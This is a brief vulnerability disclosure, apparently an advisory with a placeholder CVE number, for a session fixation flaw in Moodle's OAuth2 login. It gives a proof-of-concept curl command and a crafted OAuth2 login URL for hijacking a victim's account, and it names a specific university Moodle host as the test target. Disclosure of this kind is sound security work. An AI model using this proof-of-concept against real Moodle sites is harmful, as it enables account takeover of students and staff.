CVE-2025-XXXX - Moodle OAuth2 Session Fixation
A vulnerability in Moodle allows an unauthenticated attacker to perform a session fixation attack via the sesskey parameter exposed on the login page. The attacker can create a session, extract the sesskey, and craft an OAuth2 login URL which, if used by a victim, results in account takeover.
Tested on: moodle.duhokcihan.edu.krd (Moodle 3.x)
PoC: curl -k -c cookies.txt -b cookies.txt "https://victim/login/index.php" → extract sesskey → use in:
https://victim/auth/oauth2/login.php?id=1&wantsurl=/&sesskey=<extracted>
Impact: Account Hijack (OAuth), Session Fixation
found by Ahmed (ye_code)